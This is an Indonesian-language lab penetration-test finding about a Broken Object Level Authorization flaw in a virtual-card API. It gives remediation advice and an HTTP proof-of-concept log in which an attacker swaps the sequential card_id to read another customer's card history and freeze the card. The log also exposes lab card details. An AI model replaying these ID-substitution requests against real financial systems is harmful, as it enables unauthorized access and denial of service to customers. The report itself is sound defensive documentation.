Kembali ke indeks

LAB FAIL

Broken Object Level Authorization - Virtual Cards - Card Operations

Broken Object Level Authorization — Virtual Cards — Card Operations

CWE-639: Authorization Bypass Through User-Controlled Key · OWASP A01:2021 - Broken Access Control

Kerentanan

[FAIL] Broken Object Level Authorization - Virtual Cards - Card Operations

Deskripsi

Endpoint kartu virtual menerima card_id dari path URL dan mengoperasikannya tanpa memverifikasi bahwa kartu tersebut milik pemegang token. Identifier kartu berupa bilangan bulat berurutan sehingga mudah dienumerasi.

Dampak

Confidentiality + Integrity (High): pengguna terautentikasi mana pun dapat membaca riwayat transaksi kartu virtual milik nasabah lain dan mengubah statusnya. Pada pengujian, penyerang membekukan kartu milik korban, yang merupakan penolakan layanan terhadap instrumen pembayaran korban. Endpoint sejenis pada modul yang sama juga mengizinkan perubahan limit dan pengisian dana.

CWE

CWE-639: Authorization Bypass Through User-Controlled Key

OWASP

A01:2021 - Broken Access Control

Skenario

Normal: penyerang mengakses riwayat transaksi kartunya sendiri -> berhasil. Eksploitasi: penyerang mengganti card_id menjadi milik korban -> HTTP 200, riwayat kartu korban terbaca. Dampak: penyerang memanggil toggle-freeze pada kartu korban -> kartu korban berhasil dibekukan dan status is_frozen true terlihat dari sesi korban.

Endpoint

GET http://127.0.0.1:5001/api/virtual-cards/<card_id>/transactions POST http://127.0.0.1:5001/api/virtual-cards/<card_id>/toggle-freeze

Fitur terdampak

Kartu virtual (riwayat transaksi, pembekuan kartu, limit, top-up)

Rekomendasi perbaikan

- Verifikasi kepemilikan objek pada setiap permintaan: cocokkan card_id dengan user_id dari token sebelum membaca atau mengubah. - Terapkan pemeriksaan otorisasi terpusat pada seluruh endpoint kartu, bukan per handler. - Gunakan UUID acak sebagai identifier kartu agar tidak dapat dienumerasi. - Catat dan pantau percobaan akses lintas objek.

Bukti konsep

  1. (Screenshot 1) NORMAL: penyerang membaca riwayat kartu miliknya sendiri -> berhasil.
  2. (Screenshot 2) EKSPLOITASI: penyerang membaca riwayat kartu milik korban -> HTTP 200, data korban terekspos.
  3. (Screenshot 3) EKSPLOITASI: penyerang membekukan kartu korban -> Card frozen successfully.
  4. (Screenshot 4) DAMPAK CIA: dari sesi korban, kartu miliknya tampak is_frozen true akibat aksi penyerang.

Rekaman lengkap

LAB Semua target adalah sistem lab. Tidak ada satu pun yang merupakan pekerjaan klien. Bukti ditampilkan apa adanya; secret dihitamkan.

HTTP request
GET /api/virtual-cards/2/transactions HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 49
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:06 GMT

{
  "status": "success",
  "transactions": []
}
Tangkapan layar
HTTP request
GET /api/virtual-cards/3/transactions HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 49
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:07 GMT

{
  "status": "success",
  "transactions": []
}
Tangkapan layar
HTTP request
POST /api/virtual-cards/3/toggle-freeze HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 0

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 68
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:08 GMT

{
  "message": "Card frozen successfully",
  "status": "success"
}
Tangkapan layar
HTTP request
GET /api/virtual-cards HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 433
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:09 GMT

{
  "cards": [
    {
      "balance": 0.0,
      "card_number": "3706522538531775",
      "card_type": "standard",
      "created_at": "2026-09-30 03:02:06.091644",
      "currency": "USD",
      "currency_symbol": "$",
      "cvv": "948",
      "expiry_date": "09/27",
      "id": 3,
      "is_active": true,
      "is_frozen": true,
      "last_used_at": null,
      "limit": 1000.0
    }
  ],
  "status": "success"
}
Tangkapan layar

← Kasus sebelumnya: Broken Object Level Authorization - Users - User Detail API Kasus berikutnya: Excessive Data Exposure - GraphQL - Schema Introspection →